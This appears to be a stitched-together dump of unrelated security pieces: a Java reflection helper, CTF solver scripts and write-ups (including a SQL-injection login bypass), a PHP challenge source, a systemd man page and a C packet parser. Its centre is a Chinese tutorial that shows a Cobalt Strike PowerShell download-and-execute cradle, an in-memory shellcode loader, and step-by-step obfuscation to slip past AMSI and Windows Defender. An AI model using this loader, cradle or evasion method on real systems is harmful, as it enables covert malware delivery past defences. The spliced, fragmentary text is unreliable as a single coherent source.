11:14:05.607731 pwrite(20, "\1\"\0\0e!"..., 1024, 4377088) = 1024
11:14:05.608020 pwrite(21, "\1\"\0\0e!"..., 1024, 4377088) = 1024
11:14:05.608690 pwrite(20, "\1\"\0\0g!"..., 1024, 4378112) = 1024
11:14:05.608962 pwrite(21, "\1\"\0\0g!"..., 1024, 4378112) = 1024
11:14:05.611022 pwrite(20, "\1\"\0\0i!"..., 1536, 4379136) = 1536
11:14:05.611283 pwrite(21, "\1\"\0\0i!"..., 1536, 4379136) = 1536
```
|
sec-knowleage
|
package Utils;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
@SuppressWarnings ( "restriction" )
public class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Object newInstance(String className, Object ... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
}
|
sec-knowleage
|
import itertools
from multiprocessing import freeze_support
from crypto_commons.brute.brute import brute
from crypto_commons.generic import bytes_to_long, get_primes, factor_p, multiply, long_to_bytes
def encrypt(exp, num, key):
assert key >> 512 <= 1
num = num + key
blinded_bits = bin(num)[2:][::-1]
C, i = 0, 1
print(blinded_bits)
for b in blinded_bits:
C += int(b) * (exp ** i + (-1) ** i)
i += 1
try:
enc = hex(C)[2:].rstrip('L').decode('hex')
except:
enc = ('0' + hex(C)[2:].rstrip('L')).decode('hex')
return enc
def subsets(s):
for cardinality in range(len(s) + 1):
for c in itertools.combinations(s, cardinality):
yield c
def recover_bits(encrypted_flag, exp):
bits = []
while True:
if encrypted_flag == 0:
return bits
encrypted_flag = encrypted_flag / exp
bit = encrypted_flag % exp
if bit != 0 and bit != 1:
return None
else:
bits.append(bit)
def factor_worker(data):
flag, i, primes = data
factors, residue = factor_p(flag, primes)
print('factors', i, factors)
for potential_exp in subsets(factors):
if len(potential_exp) == 0:
continue
exp = multiply(potential_exp)
bits = recover_bits(flag, exp)
if bits is not None:
data = int("".join(map(str, bits[::-1])), 2)
data = long_to_bytes(data)
if "IHDR" in data and "PNG" in data:
print("FOUND!", i, flag, data)
save_png(data, i, exp)
return data
def save_png(result, i, exp):
if result is not None:
png_trailer = "00 00 00 00 49 45 4e 44 ae 42 60 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
png_trailer = png_trailer.replace(" ", "").decode("hex")
result = result[:-14] + png_trailer
f = open("out" + str(i) + "_" + str(exp) + ".png", 'wb')
f.write(result)
f.close()
def decrypt_paralell(file):
exp_range = 2 # was testing 22
diff = 18 # was testing 1024
ct = open(file, 'rb').read()
encrypted_flag = bytes_to_long(ct)
print(encrypted_flag)
primes = get_primes(2 ** exp_range)
dataset = [(encrypted_flag + i, i, primes) for i in range(-diff, diff)]
results = brute(factor_worker, dataset, processes=6)
return results
def main():
decrypt_paralell('flag.enc')
if __name__ == '__main__':
freeze_support()
main()
|
sec-knowleage
|
# 0x00 简介
powershell是个强大的工具,早期用起来可以说是为所欲为。但是AMSI(反恶意软件扫描接口)影响着这些。
AMSI 它是使用"基于字符串"的检测手段确定是否是恶意程序,powershell强大的功能让我们绕过它相对容易，
因为它可以引用.NET 我们进行简单的字符串反转,base64,xor 等等来绕过,同时powershell判断特征码在那里也很容易。
# 0x01 分析
首先我们打开CS生成powershell代码
>Attacks -> Web Drive-by -> Scripted Web Delivery
获得命令
```
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.130.142:80/a'))"
```
就是个简单的bypass加远程下载执行,核心在远程文件 所以我们打开看看
```
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAO1WbW/aSBD+HH7FXoRUUMI7JSRVpa4BgynvEANB0cnYa7Nh7XW9Noa2+e83xg5XkmtPutN9O0vI3mHmmXlmZ3dmSvzc1Peo7ve5QVBOJZ6g3EHlVCpNqK556CN69w4WTa748P3pXSqtCUHsNTtEy8vURSCoY6HpQfjE/nC+zE8Cx6c2ySuOTzzuTom3ozoRoOZoNhGuphNEnSei++hb6uLCDdaM6khn4AKZgaMfpRcrmWmWeETJ38QJbIQZ47rmQ6yzg0vQN9Tgtk2jEIv7UrFYvEYTIsAdOUrKIEHPP8PqE5t7h5HHfQgkYv8NtfZED3wyIZox96gfo1R/gTEDmugOBdQBKkhxTOq8mMnJkxg3GVNsl3t+5nJLPIewSjlvMHaZPQEKH4gB7h6S5gCWP/I9pFLPDzR25J1JZMzFhuERIa5jx0Y4pV9JsjDZeY5O4oRo9sO/CafhEc0nsw28jD/DidfYh4paQ/p+iMvX9G0c3EkZZJ5/InASjzQPagN8nYyPvoDFMe0/aMbeFOMfMonA5xr1Ze5NoWYZGa6jSnxhs+lojsEg4OPWGmGfMkYF0bljiKNH2M7n1OUnOBw6t13KSHRYBiTMxTioT3WPC276+cZ0o3lu8mrAQYMt2FGDeKm0G7EV54bJ4YkUmzx6x+inj1OGxIt9fkJM4hFHJwaOTyclIg+5nWiORTKfMpcJZpSPa7QaidjVYz5RP+R7SalksyfQNnGIB7usOPEJgSjTMy8gqTRsWcCiw3ai/hLcC57scXvKA08nmQTuGp1ujmwqtZIOPlk9PqZ3mve7Ht09H9HqRNzZEc9/vLuLUCRNkFo1uqQcK3NZGNIuhmepOKxvdLe0pITw68PvnlYU3rwxPnefOoW+3hCjtlzHNLRCvT7AuknrcncBemNaVOrYaPTGHSqHnclnbEggs5a0ZFnYGD2NWnZvoAiplODE9nq12lkUcaVSHVaKW4N0I/0tNgY2Dfc9+NaxMexJYFdUWKvbmKznZflhzjqFqrwx51xMa9UHQ2u/ZwaWuFFmgaZO+Kyj21KhoPbN24VaMhZq2aqpju0UbhfuJiIqi/1BlSeaNZjcz6nWCTG+L0lcrdrmfldQaxVpDXmYahg3lspkes+6s3sm8VrpPhgCLtzhzbCE9wXA1na3M9W2fGmzuSnczuUQX7XCsIVxs1PYmA9FSXHe10LGv4gFXZiRrcwnU5n0zTg+zTImKmD7JdNqAPYuxDuI8P2+Mq2AjrsdA9bQ6eIxxjVlVygU6rvlXB1MxxJ/mO/FOvzv3lhWvz4sFH88N9jaGdeUVmlHbCbW7dZuMK2GSmPztC6XwuVi4i7tPRsepMF9kclKsxX2nvCNIhvu2p7sjErfmrGxNaDVA+gsZiW9PGgKS+103Ye2GhiNehn03eaYY62tAn79//fP3lDn9d6cqlCn2hb2SIJqaVsYQ5mo5c3SlUcM6nAWjKNCx1JZlWeUQJ1iDEpSVKtTxh16rNXOrE1DXQqrC2wQdRleUbdgFgr92fbQe2qVh43qvv8VB/3Z+IDj5+Ml3DPpdWCax5t5FQ8a+WiugKvlrJ/CuHC6iPI94lj+Bl2h0vWZ0dV5PwWMlxEjtx56f6MajyevAF8PHqD3evDIpqiJMiuJc/b4W0ImCxNG6iJtMb7W2N3pLq58AKlH/AB6W+o5tfr1DJbva57YaOwYm3vInPhfoygbsae3acmmVnF/fERp/9h/36b2bDYonuPFy+I5rRgoG017b1jdnLNKWk/5rde/auUJ8qu0Rw0dDF6GtGzqHTRxJYonoXZ3J2BUQTnyBdWPUYloVMk98TVk/tjNMmkti5TWAnoaekY5yDEWlTLKYc8KbAKDRTwwf0chRHU0/A4DqU7ojuS6fA1ECBMkgj6CRMog+wM3P3SxjgsAAA=="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
```
是一个base64 + Gzip 压缩 其实解密后就是我们在 生成shell code 当中选择的 powershell Command 也可以用下面这段代码解密
```
$data = [System.Convert]::FromBase64String('gzip base64')
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
$sr.ReadToEnd() | set-clipboard
```
运行完成后会在你的剪切板，直接粘贴就行了,如下解密后的文件
```
Set-StrictMode -Version 2
$eicar = ''
$DoIt = @'
$assembly = @"
using System;
using System.Runtime.InteropServices;
namespace inject {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
"@
$compiler = New-Object Microsoft.CSharp.CSharpCodeProvider
$params = New-Object System.CodeDom.Compiler.CompilerParameters
$params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$params.GenerateInMemory = $True
$result = $compiler.CompileAssemblyFromSource($params, $assembly)
[Byte[]]$var_code = [System.Convert]::FromBase64String("xxxxxxxxxxx")
$buffer = [inject.func]::VirtualAlloc(0, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.func+AllocationType]::Commit, [inject.func+MemoryProtection]::ExecuteReadWrite)
if ([Bool]!$buffer) {
$global:result = 3;
return
}
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $buffer, $var_code.Length)
[IntPtr] $thread = [inject.func]::CreateThread(0, 0, $buffer, 0, 0, 0)
if ([Bool]!$thread) {
$global:result = 7;
return
}
$result2 = [inject.func]::WaitForSingleObject($thread, [inject.func+Time]::Infinite)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
```
`$var_code` 中base64解密的也就是 CS生成shellcode 选择的RAW格式文件,这段代码其实也就是调用.net来加载我们的shellcode，
如何判断这个脚本的特征码的位置，我们可以才用删一部分运行的方式，不用在乎语法错误的问题，因为它判断你有特征字符串就给你拦截了。
经过简单的定位我发现 有2处是这个文件的特征
1.
```
[Byte[]]$var_code = [System.Convert]::FromBase64String("xxxxxxxxxxx")
```
2.
```
$buffer = [inject.func]::VirtualAlloc(0, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.func+AllocationType]::Commit, [inject.func+MemoryProtection]::ExecuteReadWrite)
```
第一处是马的特征很好处理,第二处执行shellcode 其实跟我前面讲到的类似,知道位置了就很好操作了。
# 0x02 混淆
字符串好办我们直接写个函数反转一下,第二个直接用工具生成了 https://github.com/danielbohannon/Invoke-Obfuscation
这个工具是专门混淆powershell的，效果不错,命令过程：
```
PS D:\Invoke-Obfuscation-master> Import-Module .\Invoke-Obfuscation.psd1
PS D:\Invoke-Obfuscation-master> Invoke-Obfuscation
Invoke-Obfuscation> Set scriptblock (你要混淆的代码)
Choose one of the below options:
[*] TOKEN Obfuscate PowerShell command Tokens
[*] AST Obfuscate PowerShell Ast nodes (PS3.0+)
[*] STRING Obfuscate entire command as a String
[*] ENCODING Obfuscate entire command via Encoding
[*] COMPRESS Convert entire command to one-liner and Compress
[*] LAUNCHER Obfuscate command args w/Launcher techniques (run once at end)
Invoke-Obfuscation> compress
Choose one of the below Compress options to APPLY to current payload:
[*] COMPRESS\1 Convert entire command to one-liner and compress
Invoke-Obfuscation\Compress> 1
Executed:
CLI: Compress\1
FULL: Out-CompressedCommand -ScriptBlock $ScriptBlock -PassThru
Result:
( nEw-ObjeCt io.STreAMrEADer( (nEw-ObjeCt SysTEM.Io.COmPrESsiOn.DeFlAtEsTReAM( [sysTEM.Io.mEMorySTReAm] [CONvert]::fRoMbAse64sTRING('1]::DECOmpreSs) ) ,[sysTem.TExt.enCODinG]::ascII) ).reADtOend( )| & ( $sHeLLid[1]+$sHeLlID[13]+'x')
Choose one of the below Compress options to APPLY to current payload:
[*] COMPRESS\1 Convert entire command to one-liner and compress
Invoke-Obfuscation\Compress> out G:\test.ps1
```
工具中输入`TUTORIAL` 有说明 ,用到的也差不多就这几句所以不多讲了，当然你可以把这2处特征都用这个方法混淆了。
```
Set-StrictMode -Version 2
$eicar = ''
$DoIt = @'
$assembly = @"
using System;
using System.Runtime.InteropServices;
namespace inject {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
"@
$compiler = New-Object Microsoft.CSharp.CSharpCodeProvider
$params = New-Object System.CodeDom.Compiler.CompilerParameters
$params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$params.GenerateInMemory = $True
$result = $compiler.CompileAssemblyFromSource($params, $assembly)
Function revstring($tochar)
{
$tochar = $tochar.ToCharArray()
[Array]::Reverse($tochar)
$tochar = -join $tochar
return $tochar
}
$a = revstring "=AAAAAAAyQTMuAzMx4CO2EjLykTM//f/pi+wYVedAX4wBcwiGTHwFW9/inolSgmVTBAAgAAaXdeiTFV2BAAAAAQuTW9/lPFpYh2VAAEAAgGAAABAoBkaV/vViWL8oBAAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvx
GblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAvxGblhGAv"
[Byte[]]$var_code = [System.Convert]::FromBase64String($a)
$buffer = &( $PSHoMe[4]+$PShomE[30]+'x')(New-ObJecT sYSTem.iO.STrEAMREADEr((New-ObJecT SYstem.IO.COmprESsiOn.DefLAtESTREaM([iO.memoRyStREaM] [sYstem.cOnvERT]::frOMBASe64stRiNg('i87My0pNLtFLK81LjrWyCsssKilNzHHMyclP1jDQUVApSyyKT85PSdXzSc1LL8lQ0FYw1FGIRtKkDVabWJKZnxdSWZAKNCMotTi1qCxVQTfJv4iAUuf83NzMEjQDfVNz84sqA4ryS4BCQLVAda4VqcmlJalBqYkp4UWZJamaAA==') ,[io.coMPRESsIoN.ComPreSSiOnmOde]::DECOMpreSs ) ) ,[TeXT.EncodInG]::asCII)).ReAdtoend()
if ([Bool]!$buffer) {
$global:result = 3;
return
}
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $buffer, $var_code.Length)
[IntPtr] $thread = [inject.func]::CreateThread(0, 0, $buffer, 0, 0, 0)
if ([Bool]!$thread) {
$global:result = 7;
return
}
$result2 = [inject.func]::WaitForSingleObject($thread, [inject.func+Time]::Infinite)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
```
里面我定义了一个函数反转字符串，提供一个思路其他方法大家自己多探究探究。
然后可以直接在host file 里面设置它然后把网址替换即可，当然你觉得这个ps1脚本大的话也可以压缩然后base64加密一下,就跟原来的相同了
```
powershell -nop -exec bypass -c "IEX ((new-object net.webclient).downloadstring('http://192.168.130.142:80/download/file.ext'))"
```
参考文章http://www.offensiveops.io/tools/cobalt-strike-bypassing-windows-defender-with-obfuscation/
# 0x03 文末
### 本文如有错误，请及时提醒，以免误导他人
|
sec-knowleage
|
<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
<link rel="stylesheet" href="assets/omega_sector.css">
<link rel="stylesheet" href="assets/tsu_effect.css">
</head>
<?php
ini_set("display_errors", 0);
include('secret.php');
$remote=$_SERVER['REQUEST_URI'];
if(strpos(urldecode($remote),'..'))
{
mapl_die();
}
if(!parse_url($remote, PHP_URL_HOST))
{
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);
if($whoareyou==="alien.somewhere.meepwn.team")
{
if(!isset($_GET['alien']))
{
$wrong = <<<EOF
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You ALIEN??</h1>
<form id="main">
<button type="submit" class="button-success" name="alien" value="Yes">Yes</button>
<button type="submit" class="button-error" name="alien" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
echo $wrong;
}
if(isset($_GET['alien']) and !empty($_GET['alien']))
{
if($_GET['alien']==='@!#$@!@@')
{
$_SESSION['auth']=hash('sha256', 'alien'.$salt);
exit(header( "Location: alien_sector.php" ));
}
else
{
mapl_die();
}
}
}
elseif($whoareyou==="human.ludibrium.meepwn.team")
{
if(!isset($_GET['human']))
{
echo "";
$wrong = <<<EOF
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You Human?</h1>
<form id="main">
<button type="submit" class="button-success" name="human" value="Yes">Yes</button>
<button type="submit" class="button-error" name="human" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
echo $wrong;
}
if(isset($_GET['human']) and !empty($_GET['human']))
{
if($_GET['human']==='Yes')
{
$_SESSION['auth']=hash('sha256', 'human'.$salt);
exit(header( "Location: omega_sector.php" ));
}
else
{
mapl_die();
}
}
}
else
{
echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>';
echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />';
if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1")
{
show_source(__FILE__);
}
}
?>
<body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>
<?php ob_end_flush(); ?>
|
sec-knowleage
|
'\" t
.TH "SYSTEMD\-ASK\-PASSWORD" "1" "" "systemd 231" "systemd-ask-password"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
systemd-ask-password \- 向用户索要密码
.SH "SYNOPSIS"
.HP \w'\fBsystemd\-ask\-password\ \fR\fB[OPTIONS...]\fR\fB\ \fR\fB[MESSAGE]\fR\ 'u
\fBsystemd\-ask\-password \fR\fB[OPTIONS...]\fR\fB \fR\fB[MESSAGE]\fR
.SH "描述"
.PP
\fBsystemd\-ask\-password\fR
通过向用户显示
[MESSAGE]
消息的方式索要密码或口令。 当在TTY上运行时，它将从TTY读取密码， 然后再将密码打印到标准输出。 当不在TTY上运行或使用
\fB\-\-no\-tty\fR
选项时， 它将向全系统范围询问密码， 并允许活动用户通过多种密码代理进行应答。 后一种方式仅供特权进程使用。
.PP
此工具主要用于向全系统范围索要不特定于某个账户的密码。 例如：用于解开加密硬盘的密码、 用于解开SSL证书的口令(常用于HTTP/VPN服务器)。
.PP
目前可用的密码代理如下：
.sp
.RS 4
.ie n \{\
\h'-04'\(bu\h'+03'\c
.\}
.el \{\
.sp -1
.IP \(bu 2.3
.\}
\fBPlymouth\fR(8)
(一个显示启动动画的工具，亦可用作启动时密码代理)
.RE
.sp
.RS 4
.ie n \{\
\h'-04'\(bu\h'+03'\c
.\}
.el \{\
.sp -1
.IP \(bu 2.3
.\}
启动时直接在控制台上向用户索要密码的密码代理
.RE
.sp
.RS 4
.ie n \{\
\h'-04'\(bu\h'+03'\c
.\}
.el \{\
.sp -1
.IP \(bu 2.3
.\}
通过
\fBwall\fR(1)
消息获取密码的密码代理
.RE
.sp
.RS 4
.ie n \{\
\h'-04'\(bu\h'+03'\c
.\}
.el \{\
.sp -1
.IP \(bu 2.3
.\}
能够被临时启动 以处理一系列连续请求的命令行密码代理
.RE
.sp
.RS 4
.ie n \{\
\h'-04'\(bu\h'+03'\c
.\}
.el \{\
.sp -1
.IP \(bu 2.3
.\}
可配合
\fBsystemctl\fR(1)
命令临时启动的TTY密码代理
.RE
.PP
此外， 还可以根据
\m[blue]\fBsystemd Password Agent Specification\fR\m[]\&\s-2\u[1]\d\s+2
规范编写其他类型的密码代理。
.PP
在TTY上输入密码时，用户可以按一下TAB键， 这样在输入密码时就不会显示星号。 在开始输入密码前按退格键(Backspace)也有同样的效果。
.SH "选项"
.PP
能够识别的命令行选项如下：
.PP
\fB\-\-icon=\fR
.RS 4
在询问密码的同时显示一个图标， 仅用于图形界面的密码代理。 图标名称必须遵守
\m[blue]\fBXDG 图标命名规范\fR\m[]\&\s-2\u[2]\d\s+2。
.RE
.PP
\fB\-\-id=\fR
.RS 4
为此次密码索要动作指定一个标识符， 以辨别此密码适用于密码代理的哪个请求。 其中必须包含 请求密码的子系统以及密码的作用对象。 例如：
"\-\-id=cryptsetup:/dev/sda5"
.RE
.PP
\fB\-\-keyname=\fR
.RS 4
指定一个用于缓存密码的内核密钥环(keyring)名称。 设置此选项表示 尽可能将收集到的密码缓存到指定的内核密钥环(keyring)中(该密钥环必须属于root用户)。 若与
\fB\-\-accept\-cached\fR
一起使用， 则表示首先从指定的内核密钥环缓存中查找所需密码， 仅在找不到的情况下才提示用户输入， 这样当多个对象都使用同一个密码时， 就可以避免让用户反复输入同一个密码。 密码的缓存有效期是2\&.5分钟， 超时后将被删除。 同一个内核密钥环中可以缓存多个密码。 可以使用
\fBkeyctl\fR(1)
工具访问内核密钥环中缓存的密码。 例如：
"\-\-keyname=cryptsetup"
.RE
.PP
\fB\-\-timeout=\fR
.RS 4
设置等待用户输入密码的最大时长。 默认"90s"，设为"0"表示无限等待。
.RE
.PP
\fB\-\-echo\fR
.RS 4
直接显示用户的输入(而不是显示为星号或者不显示)， 常用于输入无需保密的用户名。
.RE
.PP
\fB\-\-no\-tty\fR
.RS 4
不在当前TTY上读取密码(即使当前TTY可用)， 而是从密码代理读取密码。
.RE
.PP
\fB\-\-accept\-cached\fR
.RS 4
允许从密码缓存中查找先前曾经输入过的密码。
.RE
.PP
\fB\-\-multiple\fR
.RS 4
与
\fB\-\-accept\-cached\fR
连用， 表示可以接收多个密码(每行输出一个密码)。
.RE
.PP
\fB\-\-no\-output\fR
.RS 4
不在标准输出上打印密码。 此选项常用于 仅希望将密码存储到内核密钥环中(\fB\-\-keyname\fR)， 而不希望显示在屏幕上或记录到日志中。
.RE
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功， 非零返回值表示失败代码。
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemctl\fR(1),
\fBkeyctl\fR(1),
\fBplymouth\fR(8),
\fBwall\fR(1)
.SH "NOTES"
.IP " 1." 4
systemd Password Agent Specification
.RS 4
\%http://www.freedesktop.org/wiki/Software/systemd/PasswordAgents
.RE
.IP " 2." 4
XDG 图标命名规范
.RS 4
\%http://standards.freedesktop.org/icon-naming-spec/icon-naming-spec-latest.html
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集：http://www.jinbuguo.com
|
sec-knowleage
|
# Web Gauntlet 3
Category: Web, 300 points
## Description
> Last time, I promise! Only 25 characters this time. Log in as admin
>
> Filtered: or and true false union like = > < ; -- /* */ admin
>
> Hint: sqlite
## Solution
This is a follow-up for [Web Gauntlet 2](Web_Gauntlet_2.md), with a shorter character limit. Luckily, the payload we used for the previous challenge is short enough to be accepted here as well:
```
username: adm'||'in
password: ' glob '*
Full query:
SELECT username, password FROM users WHERE username='adm'||'in' AND password='' glob '*'
```
We get the following response from the server:
```php
<?php
session_start();
if (!isset($_SESSION["winner3"])) {
$_SESSION["winner3"] = 0;
}
$win = $_SESSION["winner3"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
if ($win === 0) {
$filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
if ($view) {
echo "Filters: ".implode(" ", $filter)."<br/>";
}
} else if ($win === 1) {
if ($view) {
highlight_file("filter.php");
}
$_SESSION["winner3"] = 0; // <- Don't refresh!
} else {
$_SESSION["winner3"] = 0;
}
// picoCTF{k3ep_1t_sh0rt_ef4a5b40aa736f5016b4554fecb568d0}
?>
```
The flag: `picoCTF{k3ep_1t_sh0rt_ef4a5b40aa736f5016b4554fecb568d0}`
|
sec-knowleage
|
#include <stdio.h>
#include <stdbool.h>
#include <stdarg.h>
#include <string.h>
uint16_t be2le(uint16_t be) {
return (be << 8) | (be >> 8);
}
#pragma pack(0)
struct packet {
uint16_t hash;
uint16_t magic1;
uint16_t conn_id;
uint16_t seq_id;
uint16_t unk2;
uint8_t raw[10000];
} buf;
bool data_only = false;
bool text_dump = false;
bool decrypt = false;
void print_info(const char *fmt, ...) {
if (data_only) { return; }
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
}
uint8_t getxor(int ndx, uint16_t current_hash) {
if (!decrypt) { return 0; }
return (ndx % 2 == 0)
? (current_hash & 0x00FF)
: (current_hash & 0xFF00) >> 8;
}
int main(int argc, char *argv[]) {
FILE *f = fopen("rawdata.bin", "rb");
for (int i = 1; i < argc; i++) {
if (argv[i][0] != '-') {
printf("Invalid argument: %s\n", argv[i]);
}
for (int j = 1; j < strlen(argv[i]); j++) {
switch (argv[i][j]) {
case 'd': data_only = true; break;
case 't': text_dump = true; break;
case 'c': decrypt = true; break;
}
}
}
for (int packet_ndx = 0; ; packet_ndx++) {
uint16_t packet_len;
int read = fread(&packet_len, 1, sizeof packet_len, f);
if (read == 0) {
break;
}
packet_len = be2le(packet_len);
if (packet_len == 0x454e) {
uint8_t c;
fread(&c, 1, 1, f);
if (c != 0x44) {
print_info("Ups :|.\n"); return 1;
}
print_info("END PACKET\n");
continue;
}
print_info("PACKET %d\n", packet_ndx);
print_info(" - size: %d bytes\n", packet_len);
fread(&buf, 1, packet_len - 2, f);
buf.hash = be2le(buf.hash);
buf.magic1 = be2le(buf.magic1);
buf.conn_id = be2le(buf.conn_id);
buf.seq_id = be2le(buf.seq_id);
buf.unk2 = be2le(buf.unk2);
print_info(" - hash: %2x\n", buf.hash);
print_info(" - magic1: %2x\n", buf.magic1);
print_info(" - conn_id: %2x\n", buf.conn_id);
print_info(" - seq_id: %2x\n", buf.seq_id);
print_info(" - unk2: %2x\n", buf.unk2);
uint16_t current_hash = be2le(0xe9f9) + buf.hash;
print_info(" - calculated hash: %2x\n", current_hash);
print_info(" - rawdata:\n");
int raw_len = packet_len - 12;
for (int i = 0; i < raw_len; i += 16) {
if (i != 0) { printf("\n"); }
if (!data_only) { printf(" "); }
for (int j = 0; j < 16; j++) {
uint8_t c = buf.raw[i+j] ^ getxor(j, current_hash);
if (i + j < raw_len) {
printf(" %02x", c);
} else {
printf(" ");
}
}
if (text_dump) {
printf(" ");
for (int j = 0; j < 16; j++) {
uint8_t c = buf.raw[i+j] ^ getxor(j, current_hash);
if (i + j < raw_len) {
printf("%c", c >= ' ' && c <= '~' ? c : '.');
} else {
printf(" ");
}
}
}
} printf("\n");
}
}
|
sec-knowleage
|
# Pwn2
Pwn, 356 points
## Description:
A binary file was attached, in addition to an address and port.
## Solution:
Let's run the binary:
```console
root@kali:/media/sf_CTFs/tamu/Pwn2# ./pwn2
Which function would you like to call?
test
```
It's not very clear what this does, let's check the disassembly:
```
